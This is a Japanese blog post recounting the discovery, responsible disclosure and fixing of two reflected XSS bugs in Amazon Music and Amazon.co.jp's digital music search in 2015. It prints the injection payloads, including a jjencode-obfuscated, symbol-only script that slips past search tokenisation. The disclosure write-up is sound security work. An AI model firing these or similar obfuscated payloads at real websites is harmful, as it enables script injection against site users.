<script>alert(1)</script>のお求めはAmazon CDストア

本記事は[脆弱性"&'<<>\ Advent Calendar 2015](http://www.adventar.org/calendars/811)の15日目の記事です。

11/18にAmazonがリリースしたAmazon Musicというサービスに関連するXSSを2つ発見・報告したのでそのお話です。

# 1. Amazon MusicにあったXSS
[このページ](https://www.amazon.co.jp/gp/dmusic/cloudplayer/player)から

<img width="696" alt="2_search_box.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/40fef85a-7646-2572-421d-71b5f6349480.png">

`"><_><script>alert(document.domain)</script>`と検索すると

<img width="696" alt="3_alert.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/35766a1c-6a6d-4991-94c4-feae9fb00aac.png">

alertが出ました。

画面右側のペイン内にて、aタグのhref attribute内に検索クエリを出力している箇所にあるバグに起因しています。この文字列は本来何らかの処理を通じてエスケープされていたのですが、適当に`<hoge>`のような文字列を一つ挟むとaタグのhref attributeから漏れて出力されていました。

<img width="696" alt="4_strike.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/5bdacfd5-18f5-275c-723a-408d65e12bff.png">

11/19に発見・報告し、11/26に修正されました。
何故かAmazonのセキュリティ担当の手元では中々再現せず(localeやCDNの問題かもしれない)、「再現しないで」「あるで つｽｸｼｮ」や「直したで」「直ってないで つｽｸｼｮ」のようなやり取りを4、5回ほど繰り返しました。

# 2. Amazon.co.jp本体、「デジタルミュージック」カテゴリでの検索にあったXSS
上記XSSを発見・報告して一息つき、何の気なしにトップページから`<script>alert(1)</script>`と検索したところ

<img width="640" alt="alert1.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/69944acc-8a33-c342-439c-15fe26da6ba5.png">

alertが出ました。

まさか一切の工夫も無く、scriptタグで検索するだけでalertが出るとは……。ところが、検索クエリを`<script>alert(document.domain)</script>`に変えると今度はalertが出ませんでした。どうやら検索により商品がヒットしたか否かで「"hoge"の検索結果」と出力したりしなかったりするようです。

<img width="1263" alt="s_tag.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/f74c3c20-59bb-5d8d-4b6a-8d435c7d0b29.png">

つまり、alertを出すためには検索クエリがvalidなJavaScriptでありつつ、同時にAmazon.co.jp内の商品がヒットするようなクエリである必要があるようです。`<script>alert(1)</script>`では**"High Alert Status"というレーベルの"Degree of the Streets Vol 1 [Explicit]"というアルバムの"Script Ta Unscripted" という楽曲が奇跡的に存在した**おかげでうまくいきました。

さて、`<script>alert(1)</script>`という検索クエリでは`script`, `alert`, `1`という3つのトークンにより検索が行われた事が検索結果から想像されます。記号の部分は検索の上では無視されているようです。
複雑なJavaScriptでは商品がヒットしない。記号は無視される。それでは、記号のみを用いてJavaScriptを記述すれば良いのではないか？というわけで、[jjencode](http://utf-8.jp/public/jjencode.html)を使用しました。

以下の記号のみからなる文字列はvalidなJavaScriptであり、`alert(document.domain)`と等価です。これを検索ボックスに撃ち込みます。

```
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();
```

<img width="640" alt="alert.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/89da97b3-bc45-0124-bb47-09ad1e8c480c.png">

jjencodeを用いた、`<script>alert(document.domain)</script>`と等価なクエリにより`alert(document.domain)`を出すことができました。これ以上の調査はしていませんが、恐らく長さの制限の範囲内で任意のJavaScriptの実行が可能だったと思います。

<img width="874" alt="omotome.png" src="https://qiita-image-store.s3.amazonaws.com/0/53690/ce8f33e3-5480-7492-8f77-be442b201cd5.png">

「`<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();</script>`のお求めはAmazon CDストア」とのことです。

11/19に発見・報告し、11/23に修正されました。
正直`alert(1)`が出せた時点で報告しても良かったと思いますが、jjencodeのくだりはCTFのようで楽しかったです。

# 結論・所感
Amazonにもバグバウンティ制度があればと思いました。